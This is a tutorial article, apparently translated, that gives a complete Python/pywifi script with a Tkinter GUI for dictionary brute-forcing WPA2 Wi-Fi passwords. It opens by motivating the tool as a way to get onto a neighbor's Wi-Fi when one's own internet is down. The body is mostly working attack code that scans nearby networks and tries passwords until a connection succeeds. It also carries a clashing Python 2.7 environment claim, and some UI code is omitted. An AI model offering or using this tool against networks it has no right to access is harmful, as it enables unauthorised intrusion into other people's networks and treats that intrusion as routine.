WiFi Password Cracking Tool Using Python and PyWiFi

The author introduces a practical scenario where a home internet outage prompts the need to access a neighbor's Wi‑Fi using a password‑cracking script written in Python.

Python’s extensive third‑party libraries include pywifi, which provides a convenient API for Wi‑Fi operations; combined with a password dictionary, it enables brute‑force attacks given sufficient patience.

Idea : Iterate over each password in the dictionary for a given SSID, attempting to connect; on failure, disconnect and try the next password until a successful connection is made.

Environment Preparation :

Python 2.7

pywifi module

Password dictionary file

Import Modules : from pywifi import * Dictionary Preparation : Use a text file containing the top 10 weak Wi‑Fi passwords, one per line, which the script reads sequentially.

Full Code (GUI with Tkinter):

# coding:utf-8</code>
<code>from tkinter import *</code>
<code>from tkinter import ttk</code>
<code>import pywifi</code>
<code>from pywifi import const</code>
<code>import time</code>
<code>import tkinter.filedialog</code>
<code>import tkinter.messagebox</code>
<code>class MY_GUI():</code>
<code>    def __init__(self, init_window_name):</code>
<code>        self.init_window_name = init_window_name</code>
<code>        # password file path</code>
<code>        self.get_value = StringVar()</code>
<code>        # Wi‑Fi SSID</code>
<code>        self.get_wifi_value = StringVar()</code>
<code>        # Wi‑Fi password</code>
<code>        self.get_wifimm_value = StringVar()</code>
<code>        self.wifi = pywifi.PyWiFi()</code>
<code>        self.iface = self.wifi.interfaces()[0]</code>
<code>        self.iface.disconnect()</code>
<code>        time.sleep(1)</code>
<code>        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]</code>
<code>    def __str__(self):</code>
<code>        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())</code>
<code>    def set_init_window(self):</code>
<code>        self.init_window_name.title("WIFI破解工具")</code>
<code>        self.init_window_name.geometry('+500+200')</code>
<code>        labelframe = LabelFrame(width=400, height=200, text="配置")</code>
<code>        labelframe.grid(column=0, row=0, padx=10, pady=10)</code>
<code>        self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)</code>
<code>        self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)</code>
<code>        # ... (UI layout omitted for brevity) ...</code>
<code>    def scans_wifi_list(self):</code>
<code>        print("^_^ 开始扫描附近wifi...")</code>
<code>        self.iface.scan()</code>
<code>        time.sleep(15)</code>
<code>        scanres = self.iface.scan_results()</code>
<code>        self.show_scans_wifi_list(scanres)</code>
<code>        return scanres</code>
<code>    def show_scans_wifi_list(self, scans_res):</code>
<code>        for index, wifi_info in enumerate(scans_res):</code>
<code>            self.wifi_tree.insert("", 'end', values=(index+1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))</code>
<code>    def add_mm_file(self):</code>
<code>        self.filename = tkinter.filedialog.askopenfilename()</code>
<code>        self.get_value.set(self.filename)</code>
<code>    def readPassWord(self):</code>
<code>        self.getFilePath = self.get_value.get()</code>
<code>        self.get_wifissid = self.get_wifi_value.get()</code>
<code>        self.pwdfilehander = open(self.getFilePath, "r", errors="ignore")</code>
<code>        while True:</code>
<code>            try:</code>
<code>                self.pwdStr = self.pwdfilehander.readline()</code>
<code>                if not self.pwdStr:</code>
<code>                    break</code>
<code>                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)</code>
<code>                if self.bool1:</code>
<code>                    self.res = "===正确===  wifi名:%s  匹配密码：%s " % (self.get_wifissid, self.pwdStr)</code>
<code>                    self.get_wifimm_value.set(self.pwdStr)</code>
<code>                    tkinter.messagebox.showinfo('提示', '破解成功！！！')</code>
<code>                    print(self.res)</code>
<code>                    break</code>
<code>                else:</code>
<code>                    self.res = "---错误--- wifi名:%s匹配密码：%s" % (self.get_wifissid, self.pwdStr)</code>
<code>                    print(self.res)</code>
<code>                    time.sleep(3)</code>
<code>            except:</code>
<code>                continue</code>
<code>    def connect(self, pwd_Str, wifi_ssid):</code>
<code>        self.profile = pywifi.Profile()</code>
<code>        self.profile.ssid = wifi_ssid</code>
<code>        self.profile.auth = const.AUTH_ALG_OPEN</code>
<code>        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)</code>
<code>        self.profile.cipher = const.CIPHER_TYPE_CCMP</code>
<code>        self.profile.key = pwd_Str</code>
<code>        self.iface.remove_all_network_profiles()</code>
<code>        self.tmp_profile = self.iface.add_network_profile(self.profile)</code>
<code>        self.iface.connect(self.tmp_profile)</code>
<code>        time.sleep(5)</code>
<code>        if self.iface.status() == const.IFACE_CONNECTED:</code>
<code>            isOK = True</code>
<code>        else:</code>
<code>            isOK = False</code>
<code>        self.iface.disconnect()</code>
<code>        time.sleep(1)</code>
<code>        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]</code>
<code>        return isOK</code>
<code>def gui_start():</code>
<code>    init_window = Tk()</code>
<code>    ui = MY_GUI(init_window)</code>
<code>    ui.set_init_window()</code>
<code>    init_window.mainloop()</code>
<code>gui_start()

The program displays a simple GUI where users can select a Wi‑Fi network, load a password file, and start the cracking process; successful attempts are shown in a message box and printed to the console.

Result : After running the tool, the correct password (if present in the dictionary) is displayed, allowing the user to connect to the target Wi‑Fi network.